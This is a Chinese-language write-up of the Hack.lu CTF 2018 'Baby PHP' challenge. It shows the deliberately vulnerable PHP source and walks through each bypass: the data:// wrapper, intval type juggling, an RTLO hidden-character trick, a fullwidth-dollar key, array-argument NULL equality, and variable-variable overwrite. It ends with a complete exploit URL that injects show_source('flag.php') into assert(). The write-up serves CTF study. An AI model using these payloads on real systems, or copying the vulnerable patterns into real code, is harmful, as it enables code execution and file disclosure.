Hack.lu CTF 2018 - Baby PHP

题目描述

PHP is a popular general-purpose scripting language that is especially suited to web development.

Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.

Can you untangle this mess?!

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
  <?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

$b=1;//;"b"=a$;"2" = b

if($$a !== $k1){
die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

大致思路如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
msg bypassed
//php://input
k1==>key1 bypassed
//key1=1337
key2 bypassed
//为了能过通过get传入cc覆盖
$$a!==$k1
//\u202e
//$‮b=1;//;"b"=a$;"2" = b
//$k1=2
$cc
//array bypassed
$bb 全局变量覆盖
//注释后print flag

首先第一步进行msg bypassed

赛后发现也可以用这种方法进行绕过

1
msg=data://text/plain,Hello%20Challenge!

参考链接

data://

然后进行k1==》key1 bypassed

ubuntu安装php环境进行测试

1
2
3
4
5
6
7
8
9
删除所有的php包
sudo apt-get purge `dpkg -l | grep php| awk '{print $2}' |tr "\n" " "`
添加PPA源
sudo add-apt-repository ppa:ondrej/php
安装PHP版本
sudo apt-get update
sudo apt-get install php5.6
运行php shell环境
php -a

进行测试

1
2
3
4
php > $cc=1337;
php > $k1='1337';
php > var_dump(intval($k1) !== $cc || $k1 === $cc);
bool(false)

bypassed

然后来到这题的亮点,在于$$a!==$k1,也就是如下代码

1
2
3
4
5
$b=1;//;"b"=a$;"2" = b

if($$a !== $k1){
die("lel no\n");
}

这里有一个小trick,参考 RTLO Trick

大致意思就是在文本前插入\u202e就会反向输出后续的字符

2

插入\u202e后

3

这里的代码示意如下

1
2
$b=1;//;"b"=a$;"2" = b
$‮b=1;//;"b"=a$;"2" = b

也可以通过鼠标移动发现代码

1

故构造$k1=2即可bypassed

然后来到

1
2
3
4
5
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

然后为了能get传参cc覆盖原变量,我们必须bypassed 这一段

1
2
3
4
5
6
7
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

这里的$是美元符号,占三个字节,编码为\xEF\xBC\x84

可以看到这里构造的key2必须满足以美元符号结尾,且必须为非数字类型,且key2==$cc (1337)

1
2
3
4
5
6
7
8
php > $k2='000000000000000000000000000000000001337$';
php > $bb=42;
php > var_dump(strlen($k2) == $bb);
bool(true)
php > var_dump(preg_match('/^\d+$/', $k2) && !is_numeric($k2));
bool(true)
php > var_dump($k2==$cc);
bool(true)

接下来就是简单的array bypassed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
php > var_dump(strlen(sha1("a")));
int(40)
php >
var_dump(substr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1231231aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",42));
string(40) "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
php > var_dump(substr([], 42));
PHP Warning: substr() expects parameter 1 to be string, array given in php shell code on line 1
NULL
php > var_dump(sha1([]));
PHP Warning: sha1() expects parameter 1 to be string, array given in php shell code on line 1
NULL
php > var_dump(substr([], 42) === sha1([]));
PHP Warning: substr() expects parameter 1 to be string, array given in php shell code on line 1
PHP Warning: sha1() expects parameter 1 to be string, array given in php shell code on line 1
bool(true)
php > var_dump(substr([], 42) === sha1([]));
PHP Warning: substr() expects parameter 1 to be string, array given in php shell code on line 1
PHP Warning: sha1() expects parameter 1 to be string, array given in php shell code on line 1
bool(true)

之后的foreach含义即为get获取的参数覆盖全局变量

1
2
3
4
php > function action($a){foreach ($a as $lel => $hack){$$lel = $hack;echo $$lel;}}
php > $c=['123','456'];
php > action($c);
123456

可以看到

1
2
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

这里参考 assert_options

利用

1
assert("$bb == $cc");

通过注释掉后面的==$cc进行文件读取,构造

1
2
3
bb=show_source('flag.php');//
//构成
assert("show_source('flag.php');// == $cc");

最终payload为

1
/?msg=data://text/plain,Hello%20Challenge!&key1=1337&k1=2&key2=000000000000000000000000000000000001337%ef%bc%84&cc[]=&bb=show_source('flag.php');//

继续补坑。。

-------------本文结束 感谢阅读-------------